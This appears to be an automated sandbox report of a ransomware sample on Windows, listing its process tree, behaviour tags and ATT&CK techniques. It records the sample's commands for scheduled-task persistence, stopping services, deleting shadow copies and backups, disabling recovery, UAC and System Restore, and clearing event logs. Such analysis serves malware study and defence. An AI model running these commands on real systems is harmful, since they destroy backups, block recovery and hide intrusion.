C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=3596,i,9082412173660566417,17396136383843387273,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5948 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=3640,i,13919708879902819679,14436045258679704121,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5668 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6272,i,15376437968663849778,175428316294074473,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6280 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=3912,i,16760261918756855061,8874847025421434534,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5948 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6280,i,16889423746282963665,4219304838893448146,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6292 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6484,i,14113106355737900542,3422387669152024642,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6476 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4840,i,10161910346040515439,12487031724926143981,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6636 /prefetch:142⤵
- Modifies registry class
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=6576,i,8260569228049558705,9603133254745280427,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6604 /prefetch:122⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --metrics-shmem-handle=6404,i,3220917419353784783,4262309156208104550,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3604 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --metrics-shmem-handle=4820,i,16236199848689282054,7927141067507003747,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2624 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6080,i,761567124707463386,3325031730815801237,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=876 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9344dc728,0x7ff9344dc734,0x7ff9344dc7402⤵
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap13991:190:7zEvent24403⤵
-
-
C:\Users\Admin\Desktop\f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe"C:\Users\Admin\Desktop\f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe"3⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies registry class
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c mode con cols=74 lines=254⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mode.commode con cols=74 lines=255⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Update ALPHV" /TR "C:\Users\Admin\Desktop\f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe" /F4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Update ALPHV" /TR "C:\Users\Admin\Desktop\f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe" /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop vss4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop vss5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vss6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop srservice4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop srservice5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop wuauserv4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop wuauserv5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wuauserv6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop cryptsvc4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop cryptsvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop cryptsvc6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop bits4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop bits5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop bits6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop msiserver4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop msiserver5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msiserver6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Update ALPHV" /F4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Update ALPHV" /F5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic.exe SHADOWCOPY /nointeractive4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic.exe SHADOWCOPY /nointeractive5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete systemstatebackup4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete systemstatebackup5⤵
- Deletes System State backups
- Drops file in Windows directory
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest5⤵
- Deletes System State backups
- Drops file in Windows directory
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet5⤵
- Deletes backup catalog
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete backup -quiet4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -quiet5⤵
- Deletes system backups
- Drops file in Windows directory
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no5⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures5⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f5⤵
- UAC bypass
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl Application4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl Application5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl Security4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl Security5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl System4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl System5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl Microsoft-Windows-Backup4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl Microsoft-Windows-Backup5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl Microsoft-Windows-Backup4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl Microsoft-Windows-Backup5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C reg add "HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" /v "ProcessorNameString" /t REG_SZ /d "All your files are encrypted" /f4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" /v "ProcessorNameString" /t REG_SZ /d "All your files are encrypted" /f5⤵
- Checks processor information in registry
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C del /f /q "%APPDATA%\Microsoft\Windows\Recent\*"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\adb.bat" "4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak5⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Desktop\f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe"C:\Users\Admin\Desktop\f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe"3⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c mode con cols=74 lines=254⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mode.commode con cols=74 lines=255⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop vss4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop vss5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vss6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Update ALPHV" /TR "C:\Users\Admin\Desktop\f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe" /F4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Update ALPHV" /TR "C:\Users\Admin\Desktop\f65ad9d7dbd48baebb28ac6415f15f09279db1039cfe9e2dc58147baf1620412.exe" /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Update ALPHV" /F4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Update ALPHV" /F5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop srservice4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop srservice5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop wuauserv4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop wuauserv5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wuauserv6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop cryptsvc4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop cryptsvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop cryptsvc6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop bits4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop bits5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop bits6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C net stop msiserver4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop msiserver5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msiserver6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic.exe SHADOWCOPY /nointeractive4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic.exe SHADOWCOPY /nointeractive5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete systemstatebackup4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete systemstatebackup5⤵
- Deletes System State backups
- Drops file in Windows directory
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest5⤵
- Deletes System State backups
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet5⤵
- Deletes backup catalog
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete backup -quiet4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -quiet5⤵
- Deletes system backups
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no5⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures5⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f5⤵
- UAC bypass
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl Application4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl Application5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl Security4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl Security5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl System4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl System5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl Microsoft-Windows-Backup4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl Microsoft-Windows-Backup5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wevtutil cl Microsoft-Windows-Backup4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wevtutil.exewevtutil cl Microsoft-Windows-Backup5⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C reg add "HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" /v "ProcessorNameString" /t REG_SZ /d "All your files are encrypted" /f4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" /v "ProcessorNameString" /t REG_SZ /d "All your files are encrypted" /f5⤵
- Checks processor information in registry
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C del /f /q "%APPDATA%\Microsoft\Windows\Recent\*"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\adb.bat" "4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak5⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\#Restore-My-Files.txt3⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9344dc728,0x7ff9344dc734,0x7ff9344dc7404⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9344dc728,0x7ff9344dc734,0x7ff9344dc7404⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /03⤵
-
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa390f055 /state1:0x41c64e6d1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
